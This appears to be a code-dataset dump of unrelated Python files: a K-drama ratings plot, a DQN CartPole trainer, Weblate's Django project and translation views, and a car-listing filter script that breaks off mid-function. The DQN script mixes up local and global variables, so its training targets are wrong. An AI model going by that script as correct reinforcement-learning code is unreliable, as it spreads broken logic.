'__main__':\n HBNBCommand().cmdloop()\n","repo_name":"ChloeDumit/AirBnB_clone","sub_path":"console.py","file_name":"console.py","file_ext":"py","file_size_in_byte":4143,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"6755363234","text":"import psycopg2\nimport matplotlib.pyplot as plt\nimport seaborn as sns\nimport pandas as pd\n\nusername = '-------'\npassword = 'yourpasword'\ndatabase = 'k_drama'\nhost = 'localhost'\nport = '5432'\n\nconn = psycopg2.connect(user=username, password=password, dbname=database, host=host, port=port)\n\nwith conn:\n\n cur = conn.cursor()\n\n #getting the year of airing date and adding it with raiting\n cur.execute('''SELECT average_rating::float, extract(year from airing_date)::integer as airing_year\n FROM rating_date INNER JOIN all_series ON rating_date.series_id = all_series.id\n ORDER BY average_rating;''')\n series_popularity_1 = []\n year = []\n for row in cur:\n if row[1]:\n series_popularity_1.append(row[0])\n year.append(row[1])\n\n #with age_actor function getting the avg_age of actors of the serie and combine with rating\n cur.execute('''SELECT TRIM(name_series), average_rating, age_actor(cast_series.series_id) as age_avg\n FROM rating_date INNER JOIN all_series ON rating_date.series_id = all_series.id\n INNER JOIN cast_series ON all_series.id = cast_series.series_id\n ORDER BY average_rating;''')\n series_popularity = []\n avg_age = []\n name = []\n for row in cur:\n if row[1]:\n name.append(row[0])\n series_popularity.append(row[1])\n avg_age.append(row[2])\n\n\nfig, (bar_ax, dot_ax) = plt.subplots(1, 2)\n\n#visualize first query\ndata_query_1 = pd.DataFrame({'series_rating':series_popularity_1, 'year':year})\nbar_ax.set_title('Series rating & year of the airing date')\nsns.boxplot(y = \"year\", x = \"series_rating\", data = data_query_1, ax = bar_ax, orient = 'h')\nfig.autofmt_xdate(rotation=45)\n\n#visualize second query\ndata_query_2 = pd.DataFrame({'name':name, 'series_rating':series_popularity, 'average_age':avg_age})\ndot_ax.set_title('Series rating & average age of the actors')\nsns.scatterplot(data = data_query_2, x = 'average_age', y = 'series_rating', ax = dot_ax)\nfig.autofmt_xdate(rotation=45)\n\n\nplt.get_current_fig_manager().resize(1900, 900)\nplt.subplots_adjust(left=0.1,\n bottom=0.321,\n right=0.9,\n top=0.967,\n wspace=0.76,\n hspace=0.195)\n\n#plt.savefig('graphs.png', dpi=350)\nplt.show()\n","repo_name":"Dubina-03/kdrama","sub_path":"visualization.py","file_name":"visualization.py","file_ext":"py","file_size_in_byte":2403,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"73256687205","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Mon Oct 28 17:12:39 2019\r\n\r\n@author: user\r\n\"\"\"\r\n\r\nimport numpy as np\r\nimport tensorflow as tf\r\nimport random\r\nimport gym\r\nfrom collections import deque\r\nimport _model_dqn_701_A as m\r\n\r\nenv = gym.make('CartPole-v0')\r\n# env = gym.wrappers.Monitor(env, 'gym-results/', force=True)\r\n\r\nINPUT_SIZE = env.observation_space.shape[0] # 4\r\nOUTPUT_SIZE = env.action_space.n # 2\r\n\r\nDISCOUNT_RATE = 0.9\r\nREPLAY_MEMORY = 50000\r\nMAX_EPISODE = 500\r\nBATCH_SIZE = 64\r\nMIN_E = 0.0 # minimum epsilon for E-greedy\r\nEPSILON_DECAYING_EPISODE = MAX_EPISODE * 0.01\r\n\r\n\r\ndef bot_play(dqn: m.DQN) -> None:\r\n \"\"\"Runs a single episode with rendering and prints a reward\r\n\r\n Args:\r\n dqn (dqn.DQN): DQN Agent\r\n \"\"\"\r\n _state = env.reset()\r\n _reward_sum = 0\r\n while True:\r\n env.render()\r\n _action = np.argmax(dqn.predict(_state))\r\n _state, _reward, _done, _ = env.step(action)\r\n _reward_sum += _reward\r\n if done:\r\n print(\"Total score: {}\".format(_reward_sum))\r\n break\r\n\r\n\r\n# def simple_replay_train(DQN, train_batch):\r\ndef train_sample_replay(dqn: m.DQN, train_batch: list) -> list:\r\n \"\"\"Prepare X_batch, y_batch and train them\r\n\r\n Recall our loss function is\r\n target = reward + discount * max Q(s',a)\r\n or reward if done early\r\n Loss function: [target - Q(s, a)]^2\r\n\r\n Hence,\r\n X_batch is a state list\r\n y_batch is reward + discount * max Q\r\n or reward if terminated early\r\n\r\n Args:\r\n dqn (m.DQN): DQN Agent to train & run\r\n train_batch (list): Mini batch of Sample Replay memory\r\n Each element is a tuple of (state, action, reward, next_state, done)\r\n\r\n Returns:\r\n loss: Returns a list of cost and train\r\n \"\"\"\r\n x_stack = np.empty(0).reshape(0, dqn.input_size)\r\n y_stack = np.empty(0).reshape(0, dqn.output_size)\r\n\r\n for _state, _action, _reward, _next_state, _done in train_batch:\r\n Q_pred = dqn.predict(_state)\r\n\r\n if done:\r\n Q_pred[0, _action] = reward\r\n else:\r\n Q_pred[0, _action] = reward + DISCOUNT_RATE * np.max(dqn.predict(_next_state))\r\n\r\n x_stack = np.vstack([x_stack, _state])\r\n # x_batch = np.vstack([x[0] for x in train_batch])\r\n y_stack = np.vstack([y_stack, Q_pred])\r\n\r\n return dqn.update(x_stack, y_stack)\r\n\r\n# (1) replay 메모리를 생성\r\nreplay_buffer = deque(maxlen=REPLAY_MEMORY)\r\n\r\nwith tf.Session() as sess:\r\n # (2) 네트워크 구성\r\n mainDQN = m.DQN(sess, INPUT_SIZE, OUTPUT_SIZE)\r\n mainDQN.build_network(h_size=10, l_rate=0.01)\r\n sess.run(tf.global_variables_initializer())\r\n\r\n for episode in range(MAX_EPISODE):\r\n e = 1./((episode/10)+1)\r\n done = False\r\n step_count = 0\r\n state = env.reset()\r\n\r\n while not done:\r\n if np.random.rand() < e:\r\n action = env.action_space.sample()\r\n else:\r\n action = np.argmax(mainDQN.predict(state))\r\n\r\n next_state, reward, done, _ = env.step(action)\r\n\r\n if done:\r\n reward = -1\r\n\r\n replay_buffer.append((state, action, reward, next_state, done))\r\n\r\n if len(replay_buffer) > REPLAY_MEMORY:\r\n replay_buffer.popleft()\r\n\r\n state = next_state\r\n step_count += 1\r\n if step_count > 10000:\r\n break\r\n\r\n print(\"Episode: {} steps: {}\".format(episode, step_count))\r\n if step_count > 10000:\r\n pass\r\n\r\n if episode % 10 == 1:\r\n for _ in range(50):\r\n minibatch = random.sample(replay_buffer, 10)\r\n cost, _ = train_sample_replay(mainDQN, minibatch)\r\n print(\"Cost: \", cost)\r\n bot_play(mainDQN)\r\n\r\n# https://mclearninglab.tistory.com/35\r\n","repo_name":"jh630kim/RI_Learning","sub_path":"Lab701_B.py","file_name":"Lab701_B.py","file_ext":"py","file_size_in_byte":3893,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"10296670394","text":"from __future__ import annotations\n\nimport re\n\nfrom django.contrib.auth.decorators import login_required\nfrom django.db import transaction\nfrom django.http import HttpResponse\nfrom django.shortcuts import get_object_or_404, redirect\nfrom django.utils.html import format_html\nfrom django.utils.http import urlencode\nfrom django.utils.translation import gettext\nfrom django.views.decorators.cache import never_cache\nfrom django.views.generic import RedirectView\n\nfrom weblate.formats.models import EXPORTERS\nfrom weblate.lang.models import Language\nfrom weblate.trans.exceptions import FileParseError\nfrom weblate.trans.forms import (\n AddCategoryForm,\n AnnouncementForm,\n AutoForm,\n BulkEditForm,\n CategoryDeleteForm,\n CategoryLanguageDeleteForm,\n CategoryRenameForm,\n ComponentDeleteForm,\n ComponentRenameForm,\n DownloadForm,\n ProjectDeleteForm,\n ProjectFilterForm,\n ProjectLanguageDeleteForm,\n ProjectRenameForm,\n ReplaceForm,\n ReportsForm,\n SearchForm,\n TranslationDeleteForm,\n get_new_language_form,\n get_new_unit_form,\n get_upload_form,\n)\nfrom weblate.trans.models import (\n Category,\n Change,\n Component,\n ComponentList,\n Project,\n Translation,\n)\nfrom weblate.trans.models.component import prefetch_tasks, translation_prefetch_tasks\nfrom weblate.trans.models.project import prefetch_project_flags\nfrom weblate.trans.models.translation import GhostTranslation\nfrom weblate.trans.util import render, sort_unicode, translation_percent\nfrom weblate.utils import messages\nfrom weblate.utils.ratelimit import reset_rate_limit, session_ratelimit_post\nfrom weblate.utils.stats import (\n CategoryLanguage,\n GhostProjectLanguageStats,\n ProjectLanguage,\n prefetch_stats,\n)\nfrom weblate.utils.views import (\n get_paginator,\n optional_form,\n parse_path,\n show_form_errors,\n try_set_language,\n)\n\n\n@never_cache\ndef list_projects(request):\n \"\"\"List all projects.\"\"\"\n query_string = \"\"\n projects = request.user.allowed_projects\n form = ProjectFilterForm(request.GET)\n if form.is_valid():\n query = {}\n if form.cleaned_data[\"owned\"]:\n user = form.cleaned_data[\"owned\"]\n query[\"owned\"] = user.username\n projects = (user.owned_projects & projects.distinct()).order()\n elif form.cleaned_data[\"watched\"]:\n user = form.cleaned_data[\"watched\"]\n query[\"watched\"] = user.username\n projects = (user.watched_projects & projects).order()\n query_string = urlencode(query)\n else:\n show_form_errors(request, form)\n\n return render(\n request,\n \"projects.html\",\n {\n \"allow_index\": True,\n \"projects\": prefetch_project_flags(\n get_paginator(request, prefetch_stats(projects))\n ),\n \"title\": gettext(\"Projects\"),\n \"query_string\": query_string,\n },\n )\n\n\ndef add_ghost_translations(component, user, translations, generator, **kwargs):\n \"\"\"Adds ghost translations for user languages to the list.\"\"\"\n if component.can_add_new_language(user, fast=True):\n existing = {translation.language.code for translation in translations}\n for language in user.profile.all_languages:\n if language.code in existing:\n continue\n code = component.format_new_language_code(language)\n if re.match(component.language_regex, code) is None:\n continue\n translations.append(generator(component, language, **kwargs))\n\n\ndef show_engage(request, path):\n # Legacy URL\n if len(path) == 2:\n return redirect(\"engage\", permanent=True, path=[path[0], \"-\", path[1]])\n # Get project object, skipping ACL\n obj = parse_path(request, path, (ProjectLanguage, Project), skip_acl=True)\n\n translate_object = None\n if isinstance(obj, ProjectLanguage):\n language = obj.language\n try_set_language(language.code)\n translate_object = obj\n project = obj.project\n stats_obj = obj.stats\n\n all_count = strings_count = stats_obj.all\n translated_count = stats_obj.translated\n\n # Remove glossary from counts\n glossaries = prefetch_stats(\n Translation.objects.filter(\n language=language, component__in=project.glossaries\n ).prefetch()\n )\n for glossary in prefetch_stats(glossaries):\n all_count -= glossary.stats.all\n translated_count -= glossary.stats.translated\n strings_count -= glossary.stats.all\n\n else:\n project = obj\n language = None\n guessed_language = (\n Language.objects.filter(translation__component__project=obj)\n .exclude(component__project=obj)\n .distinct()\n .get_request_language(request)\n )\n if guessed_language:\n translate_object = ProjectLanguage(\n project=project, language=guessed_language\n )\n stats_obj = obj.stats\n\n all_count = stats_obj.all\n strings_count = stats_obj.source_strings\n translated_count = stats_obj.translated\n\n # Remove glossary from counts\n for glossary in prefetch_stats(project.glossaries):\n all_count -= glossary.stats.all\n translated_count -= glossary.stats.translated\n strings_count -= glossary.stats.source_strings\n\n return render(\n request,\n \"engage.html\",\n {\n \"allow_index\": True,\n \"object\": obj,\n \"path_object\": obj,\n \"project\": project,\n \"strings_count\": strings_count,\n \"languages_count\": project.stats.languages,\n \"percent\": translation_percent(translated_count, all_count),\n \"language\": language,\n \"translate_object\": translate_object,\n \"project_link\": format_html(\n '{}', project.get_absolute_url(), project.name\n ),\n \"title\": gettext(\"Get involved in {0}!\").format(project),\n },\n )\n\n\n@never_cache\ndef show(request, path):\n obj = parse_path(\n request,\n path,\n (\n Translation,\n Component,\n Project,\n ProjectLanguage,\n Category,\n CategoryLanguage,\n ),\n )\n if isinstance(obj, Project):\n return show_project(request, obj)\n if isinstance(obj, Component):\n return show_component(request, obj)\n if isinstance(obj, ProjectLanguage):\n return show_project_language(request, obj)\n if isinstance(obj, Category):\n return show_category(request, obj)\n if isinstance(obj, CategoryLanguage):\n return show_category_language(request, obj)\n if isinstance(obj, Translation):\n return show_translation(request, obj)\n raise TypeError(f\"Not supported show: {obj}\")\n\n\ndef show_project_language(request, obj):\n language_object = obj.language\n project_object = obj.project\n user = request.user\n\n last_changes = Change.objects.last_changes(\n user, project=project_object, language=language_object\n )[:10].preload()\n\n translations = list(obj.translation_set)\n\n # Add ghost translations\n if user.is_authenticated:\n existing = {translation.component.slug for translation in translations}\n missing = project_object.get_child_components_filter(\n lambda qs: qs.exclude(slug__in=existing)\n )\n translations.extend(\n GhostTranslation(component, language_object)\n for component in missing\n if component.can_add_new_language(user, fast=True)\n )\n\n return render(\n request,\n \"language-project.html\",\n {\n \"allow_index\": True,\n \"language\": language_object,\n \"project\": project_object,\n \"object\": obj,\n \"path_object\": obj,\n \"last_changes\": last_changes,\n \"translations\": translations,\n \"title\": f\"{project_object} - {language_object}\",\n \"search_form\": SearchForm(\n user, language=language_object, initial=SearchForm.get_initial(request)\n ),\n \"licenses\": project_object.component_set.exclude(license=\"\").order_by(\n \"license\"\n ),\n \"language_stats\": project_object.stats.get_single_language_stats(\n language_object\n ),\n \"delete_form\": optional_form(\n ProjectLanguageDeleteForm, user, \"translation.delete\", obj, obj=obj\n ),\n \"replace_form\": optional_form(ReplaceForm, user, \"unit.edit\", obj),\n \"bulk_state_form\": optional_form(\n BulkEditForm,\n user,\n \"translation.auto\",\n obj,\n user=user,\n obj=obj,\n project=obj.project,\n ),\n },\n )\n\n\ndef show_category_language(request, obj):\n language_object = obj.language\n category_object = obj.category\n user = request.user\n\n last_changes = (\n Change.objects.last_changes(user, language=language_object)\n .for_category(category_object)[:10]\n .preload()\n )\n\n translations = list(obj.translation_set)\n\n # Add ghost translations\n if user.is_authenticated:\n existing = {translation.component.slug for translation in translations}\n missing = category_object.component_set.exclude(slug__in=existing)\n translations.extend(\n GhostTranslation(component, language_object)\n for component in missing\n if component.can_add_new_language(user, fast=True)\n )\n\n return render(\n request,\n \"category-project.html\",\n {\n \"allow_index\": True,\n \"language\": language_object,\n \"category\": category_object,\n \"object\": obj,\n \"path_object\": obj,\n \"last_changes\": last_changes,\n \"translations\": translations,\n \"title\": f\"{category_object} - {language_object}\",\n \"search_form\": SearchForm(\n user, language=language_object, initial=SearchForm.get_initial(request)\n ),\n \"licenses\": obj.category.get_child_components_access(user)\n .exclude(license=\"\")\n .order_by(\"license\"),\n \"language_stats\": category_object.stats.get_single_language_stats(\n language_object\n ),\n \"delete_form\": optional_form(\n CategoryLanguageDeleteForm, user, \"translation.delete\", obj, obj=obj\n ),\n \"replace_form\": optional_form(ReplaceForm, user, \"unit.edit\", obj),\n \"bulk_state_form\": optional_form(\n BulkEditForm,\n user,\n \"translation.auto\",\n obj,\n user=user,\n obj=obj,\n project=obj.category.project,\n ),\n },\n )\n\n\ndef show_project(request, obj):\n user = request.user\n\n all_changes = obj.change_set.prefetch().order()\n last_changes = all_changes[:10].preload()\n last_announcements = all_changes.filter_announcements()[:10].preload()\n\n all_components = obj.get_child_components_access(\n user, lambda qs: qs.filter(category=None)\n )\n all_components = get_paginator(request, prefetch_stats(all_components))\n for component in all_components:\n component.is_shared = None if component.project == obj else component.project\n\n language_stats = obj.stats.get_language_stats()\n # Show ghost translations for user languages\n component = None\n for component in all_components:\n if component.can_add_new_language(user, fast=True):\n break\n if component:\n add_ghost_translations(\n component,\n user,\n language_stats,\n GhostProjectLanguageStats,\n is_shared=component.is_shared,\n )\n\n language_stats = sort_unicode(\n language_stats, user.profile.get_translation_orderer(request)\n )\n\n components = prefetch_tasks(all_components)\n\n return render(\n request,\n \"project.html\",\n {\n \"allow_index\": True,\n \"object\": obj,\n \"path_object\": obj,\n \"project\": obj,\n \"last_changes\": last_changes,\n \"last_announcements\": last_announcements,\n \"reports_form\": ReportsForm({\"project\": obj}),\n \"language_stats\": [stat.obj or stat for stat in language_stats],\n \"search_form\": SearchForm(\n request.user, initial=SearchForm.get_initial(request)\n ),\n \"announcement_form\": optional_form(\n AnnouncementForm, user, \"project.edit\", obj\n ),\n \"add_form\": AddCategoryForm(request, obj) if obj.can_add_category else None,\n \"delete_form\": optional_form(\n ProjectDeleteForm, user, \"project.edit\", obj, obj=obj\n ),\n \"rename_form\": optional_form(\n ProjectRenameForm,\n user,\n \"project.edit\",\n obj,\n request=request,\n instance=obj,\n ),\n \"replace_form\": optional_form(ReplaceForm, user, \"unit.edit\", obj),\n \"bulk_state_form\": optional_form(\n BulkEditForm,\n user,\n \"translation.auto\",\n obj,\n user=user,\n obj=obj,\n project=obj,\n ),\n \"components\": components,\n \"categories\": obj.category_set.filter(category=None),\n \"licenses\": sorted(\n (component for component in all_components if component.license),\n key=lambda component: component.license,\n ),\n },\n )\n\n\ndef show_category(request, obj):\n user = request.user\n\n all_changes = Change.objects.for_category(obj).prefetch().order()\n last_changes = all_changes[:10].preload()\n last_announcements = all_changes.filter_announcements()[:10].preload()\n\n all_components = obj.get_child_components_access(user)\n all_components = get_paginator(request, prefetch_stats(all_components))\n\n language_stats = obj.stats.get_language_stats()\n # Show ghost translations for user languages\n component = None\n for component in all_components:\n if component.can_add_new_language(user, fast=True):\n break\n if component:\n add_ghost_translations(\n component,\n user,\n language_stats,\n GhostProjectLanguageStats,\n )\n\n orderer = user.profile.get_translation_orderer(request)\n language_stats = sort_unicode(\n language_stats,\n lambda x: f\"{orderer(x)}-{x.language}\",\n )\n\n components = prefetch_tasks(all_components)\n\n return render(\n request,\n \"category.html\",\n {\n \"allow_index\": True,\n \"object\": obj,\n \"path_object\": obj,\n \"project\": obj,\n \"add_form\": AddCategoryForm(request, obj) if obj.can_add_category else None,\n \"last_changes\": last_changes,\n \"last_announcements\": last_announcements,\n \"language_stats\": [stat.obj or stat for stat in language_stats],\n \"search_form\": SearchForm(user, initial=SearchForm.get_initial(request)),\n \"delete_form\": optional_form(\n CategoryDeleteForm, user, \"project.edit\", obj, obj=obj\n ),\n \"rename_form\": optional_form(\n CategoryRenameForm,\n user,\n \"project.edit\",\n obj,\n request=request,\n instance=obj,\n ),\n \"replace_form\": optional_form(ReplaceForm, user, \"unit.edit\", obj),\n \"bulk_state_form\": optional_form(\n BulkEditForm,\n user,\n \"translation.auto\",\n obj,\n user=user,\n obj=obj,\n project=obj.project,\n ),\n \"components\": components,\n \"categories\": obj.category_set.all(),\n \"licenses\": sorted(\n (component for component in all_components if component.license),\n key=lambda component: component.license,\n ),\n },\n )\n\n\ndef show_component(request, obj):\n user = request.user\n\n last_changes = obj.change_set.prefetch().order()[:10].preload(\"component\")\n\n translations = prefetch_stats(list(obj.translation_set.prefetch()))\n\n # Show ghost translations for user languages\n add_ghost_translations(obj, user, translations, GhostTranslation)\n\n translations = sort_unicode(\n translations, user.profile.get_translation_orderer(request)\n )\n\n return render(\n request,\n \"component.html\",\n {\n \"allow_index\": True,\n \"object\": obj,\n \"path_object\": obj,\n \"project\": obj.project,\n \"component\": obj,\n \"translations\": translations,\n \"reports_form\": ReportsForm({\"component\": obj}),\n \"last_changes\": last_changes,\n \"replace_form\": optional_form(ReplaceForm, user, \"unit.edit\", obj),\n \"bulk_state_form\": optional_form(\n BulkEditForm,\n user,\n \"translation.auto\",\n obj,\n user=user,\n obj=obj,\n project=obj.project,\n ),\n \"announcement_form\": optional_form(\n AnnouncementForm, user, \"component.edit\", obj\n ),\n \"delete_form\": optional_form(\n ComponentDeleteForm, user, \"component.edit\", obj, obj=obj\n ),\n \"rename_form\": optional_form(\n ComponentRenameForm,\n user,\n \"component.edit\",\n obj,\n request=request,\n instance=obj,\n ),\n \"search_form\": SearchForm(\n request.user, initial=SearchForm.get_initial(request)\n ),\n \"alerts\": obj.all_active_alerts\n if \"alerts\" not in request.GET\n else obj.alert_set.all(),\n },\n )\n\n\ndef show_translation(request, obj):\n component = obj.component\n project = component.project\n last_changes = obj.change_set.prefetch().order()[:10].preload(\"translation\")\n user = request.user\n\n # Get form\n form = get_upload_form(user, obj)\n\n search_form = SearchForm(\n request.user, language=obj.language, initial=SearchForm.get_initial(request)\n )\n\n # Translations to same language from other components in this project\n # Show up to 10 of them, needs to be list to append ghost ones later\n other_translations = translation_prefetch_tasks(\n prefetch_stats(\n list(\n Translation.objects.prefetch()\n .filter(component__project=project, language=obj.language)\n .exclude(pk=obj.pk)[:10]\n )\n )\n )\n\n # Include ghost translations for other components, this\n # adds quick way to create translations in other components\n if len(other_translations) < 10:\n existing = {translation.component.slug for translation in other_translations}\n existing.add(component.slug)\n for test_component in project.child_components:\n if test_component.slug in existing:\n continue\n if test_component.can_add_new_language(user, fast=True):\n other_translations.append(\n GhostTranslation(test_component, obj.language)\n )\n\n return render(\n request,\n \"translation.html\",\n {\n \"allow_index\": True,\n \"path_object\": obj,\n \"object\": obj,\n \"project\": project,\n \"component\": obj.component,\n \"form\": form,\n \"download_form\": DownloadForm(obj, auto_id=\"id_dl_%s\"),\n \"autoform\": optional_form(\n AutoForm,\n user,\n \"translation.auto\",\n obj,\n obj=component,\n user=user,\n ),\n \"search_form\": search_form,\n \"replace_form\": optional_form(ReplaceForm, user, \"unit.edit\", obj),\n \"bulk_state_form\": optional_form(\n BulkEditForm,\n user,\n \"translation.auto\",\n obj,\n user=user,\n obj=obj,\n project=project,\n ),\n \"new_unit_form\": get_new_unit_form(obj, user),\n \"announcement_form\": optional_form(\n AnnouncementForm, user, \"component.edit\", obj\n ),\n \"delete_form\": optional_form(\n TranslationDeleteForm, user, \"translation.delete\", obj, obj=obj\n ),\n \"last_changes\": last_changes,\n \"other_translations\": other_translations,\n \"exporters\": EXPORTERS.list_exporters(obj),\n },\n )\n\n\n@never_cache\ndef data_project(request, project):\n obj = parse_path(request, [project], (Project,))\n return render(\n request,\n \"data.html\",\n {\n \"object\": obj,\n \"components\": obj.get_child_components_access(request.user),\n \"project\": obj,\n },\n )\n\n\n@never_cache\n@login_required\n@session_ratelimit_post(\"language\", logout_user=False)\n@transaction.atomic\ndef new_language(request, path):\n obj = parse_path(request, path, (Component,))\n user = request.user\n\n form_class = get_new_language_form(request, obj)\n can_add = obj.can_add_new_language(user)\n added = False\n\n if request.method == \"POST\":\n form = form_class(obj, request.POST)\n\n if form.is_valid():\n result = obj\n langs = form.cleaned_data[\"lang\"]\n kwargs = {\n \"user\": user,\n \"author\": user,\n \"component\": obj,\n \"details\": {},\n }\n with obj.repository.lock:\n for language in Language.objects.filter(code__in=langs):\n kwargs[\"details\"][\"language\"] = language.code\n if can_add:\n translation = obj.add_new_language(\n language, request, create_translations=False\n )\n if translation:\n added = True\n kwargs[\"translation\"] = translation\n if len(langs) == 1:\n result = translation\n Change.objects.create(\n action=Change.ACTION_ADDED_LANGUAGE, **kwargs\n )\n elif obj.new_lang == \"contact\":\n Change.objects.create(\n action=Change.ACTION_REQUESTED_LANGUAGE, **kwargs\n )\n messages.success(\n request,\n gettext(\n \"A request for a new translation has been \"\n \"sent to the project's maintainers.\"\n ),\n )\n try:\n if added and not obj.create_translations(request=request):\n messages.warning(\n request,\n gettext(\n \"The translation will be updated in the background.\"\n ),\n )\n except FileParseError:\n pass\n if user.has_perm(\"component.edit\", obj):\n reset_rate_limit(\"language\", request)\n return redirect(result)\n messages.error(request, gettext(\"Please fix errors in the form.\"))\n else:\n form = form_class(obj)\n\n return render(\n request,\n \"new-language.html\",\n {\n \"object\": obj,\n \"path_object\": obj,\n \"project\": obj.project,\n \"component\": obj,\n \"form\": form,\n \"can_add\": can_add,\n },\n )\n\n\n@never_cache\ndef healthz(request):\n \"\"\"Simple health check endpoint.\"\"\"\n return HttpResponse(\"ok\")\n\n\n@never_cache\ndef show_component_list(request, name):\n obj = get_object_or_404(ComponentList, slug__iexact=name)\n components = prefetch_tasks(\n prefetch_stats(obj.components.filter_access(request.user).prefetch())\n )\n\n return render(\n request,\n \"component-list.html\",\n {\n \"object\": obj,\n \"components\": components,\n \"licenses\": sorted(\n (component for component in components if component.license),\n key=lambda component: component.license,\n ),\n },\n )\n\n\n@never_cache\ndef guide(request, path):\n obj = parse_path(request, path, (Component,))\n\n return render(\n request,\n \"guide.html\",\n {\n \"object\": obj,\n \"path_object\": obj,\n \"project\": obj.project,\n \"component\": obj,\n \"guidelines\": obj.guidelines,\n },\n )\n\n\nclass ProjectLanguageRedirectView(RedirectView):\n permanent = True\n query_string = True\n pattern_name = \"show\"\n\n def get_redirect_url(self, project: str | None, lang: str):\n return super().get_redirect_url(path=[project or \"-\", \"-\", lang])\n","repo_name":"WeblateOrg/weblate","sub_path":"weblate/trans/views/basic.py","file_name":"basic.py","file_ext":"py","file_size_in_byte":25812,"program_lang":"python","lang":"en","doc_type":"code","stars":3905,"dataset":"github-code","pt":"52"} +{"seq_id":"26033137941","text":"import argparse\nimport csv\nimport re\nimport time\nfrom typing import Optional\nfrom typing import Sequence\nfrom tabulate import tabulate\nfrom io import StringIO\n\n\ndef get_args(argv: Optional[Sequence[str]] = None):\n \"\"\"this function sets up arguments for getting cars and returns arguments for further searching cars\n creation date: 2023-04-05, last_update: 2023-04-17, developer: Maksym Sukhorukov\"\"\"\n\n start_getting_params = time.perf_counter()\n\n parser = argparse.ArgumentParser()\n parser.add_argument('-year_from', type=int, default=None, help='only digit values')\n parser.add_argument('-year_to', type=int, default=None, help='only digit values')\n parser.add_argument('-brand', type=str, default=None, help='')\n parser.add_argument('-model', type=str, default=None, help='')\n parser.add_argument('-price_from', type=int, default=None, help='supported only USD values')\n parser.add_argument('-price_to', type=int, default=None, help='supported only USD values')\n parser.add_argument('-transmission', type=str, default=None, help='')\n parser.add_argument('-mileage', type=int, default=None, help='please put value in km')\n parser.add_argument('-body', type=str, default=None, help='')\n parser.add_argument('-engine_from', type=int, default=None, help='please put value in ml')\n parser.add_argument('-engine_to', type=int, default=None, help='please put value in ml')\n parser.add_argument('-fuel', type=str, default=None, help='')\n parser.add_argument('-exchange', type=str, default=None, help='please put Yes or NO value')\n parser.add_argument('-keywords', type=str, default=None, help='please put additional 1 word for searching')\n parser.add_argument('-max_records', type=int, default=20, help='please put Top N digit value')\n parser.add_argument('-source_file', type=str, default='source_data/cars-av-by_card_20230407.csv', help='')\n #parser.add_argument('-source_file', type=str, default='source_data/cars-av-by_card-2023-04-13-11-19-37.csv', help='')\n parser.add_argument('-debug', type=int, default=0, help='if debug flag = 1, the debug proces will run')\n\n args = parser.parse_args(argv)\n\n end_getting_params = time.perf_counter()\n if args.debug == 1:\n print(f'Taken time: For getting parameters is {round(end_getting_params - start_getting_params, 2)}s')\n\n return args\n\n\ndef filtering_cars(params, title_brand, title_model, price_secondary_processed, description_year,\n description_transmission, description_engine, description_mileage,\n description_body, full_card, description_fuel, exchange_processed):\n \"\"\"this function gets filtering params and tokens for filtering cars and returns arguments for further searching cars\n creation date: 2023-04-17, last_update: 2023-04-18, developer: Maksym Sukhorukov\"\"\"\n\n result = False\n\n if params.brand and params.brand.upper() not in title_brand.upper():\n result = True\n if params.model and params.model.upper() not in title_model.upper():\n result = True\n if (params.price_from and price_secondary_processed[0] < int(params.price_from)) or \\\n (params.price_to and price_secondary_processed[0] > int(params.price_to)):\n result = True\n if (params.year_from and description_year < int(params.year_from)) or \\\n (params.year_to and description_year > int(params.year_to)):\n result = True\n if params.transmission and params.transmission.upper() not in description_transmission.upper():\n result = True\n if (params.engine_from and description_engine < int(params.engine_from)) or \\\n (params.engine_to and description_engine > int(params.engine_to)):\n result = True\n if params.mileage and description_mileage[0] > int(params.mileage):\n result = True\n if params.body and params.body.upper() not in description_body.upper():\n result = True\n if params.keywords and params.keywords.upper() not in full_card.upper():\n result = True\n if params.fuel and params.fuel.upper() not in description_fuel.upper():\n result = True\n if params.exchange and params.exchange.upper() != exchange_processed.upper():\n result = True\n\n return result\n\n\ndef parse_and_filter_file(params):\n \"\"\"this function splits dataset into tokens and uses arguments as params for filtering cars and returns dic of\n filtered cars for further processing filtered cars\n creation date: 2023-04-05, last_update: 2023-04-17, developer: Maksym Sukhorukov\"\"\"\n\n start_opening_file = time.perf_counter()\n\n header_line = True\n filtered_cars = []\n counter = 1 # for testing\n\n with open(params.source_file, 'r', encoding='utf-8') as file: # encoding='utf-8'\n file_data = file.read()\n csv_string = StringIO(file_data)\n cars = csv.reader(csv_string)\n\n end_opening_file = time.perf_counter()\n if params.debug == 1:\n print(f'Taken time: For opening file is '\n f'{round(end_opening_file - start_opening_file, 2)}s')\n\n start_parsing_file = time.perf_counter()\n\n for row in cars:\n if header_line: # or counter > 5: added for testing\n header_line = False\n continue\n\n card_id, title, price_primary, price_secondary, location, labels, comment, description, exchange, \\\n scrap_date = row[0:]\n\n try:\n title_deal_type, title_brand, title_model = re.split(r'^(\\S+) (\\S+) (.+),(.+)$', title)[1:4]\n except:\n title_deal_type, title_brand, title_model = None, None, None\n try:\n price_primary_processed = (int((''.join(x for x in row[2] if x.isdigit()))), 'byn')\n except:\n price_primary_processed = (None, 'byn')\n try:\n price_secondary_processed = (int((''.join(x for x in row[3] if x.isdigit()))), 'usd')\n except:\n price_secondary_processed = (None, 'usd')\n location_country = 'belarus'\n try:\n location_city = re.split(r'^(\\S+)(\\,\\s(.+))?$', location)[1].strip()\n except:\n location_city = None\n try:\n location_region = re.split(r'^(\\S+)(\\,\\s(.+))?$', location)[-2].strip()\n except:\n location_region = None\n try:\n labels_upd_processed = ''.join(x + ', ' for x in labels.split('|')).strip(', ')\n except:\n labels_upd_processed = None\n\n full_card = ' '.join(x for x in row[1:9])\n\n try:\n description_year = int(''.join(x for x in description.split('|')[0].split(',')[0] if x.isdigit()))\n except:\n description_year = None\n try:\n description_transmission = description.split('|')[0].split(',')[1].strip()\n except:\n description_transmission = None\n try:\n description_engine = int(''.join(x for x in description.split('|')[0].split(',')[2] if x.isdigit()) + '00')\n except:\n description_engine = None\n\n try:\n if description_engine == 0:\n description_fuel = description.split('|')[0].split(',')[2].strip()\n else:\n description_fuel = description.split('|')[0].split(',')[-2].strip()\n except:\n description_fuel = None\n try:\n description_mileage = (int(''.join(x for x in description.split('|')[0].split(',')[-1] if x.isdigit())), 'km')\n except:\n description_mileage = None\n\n try:\n 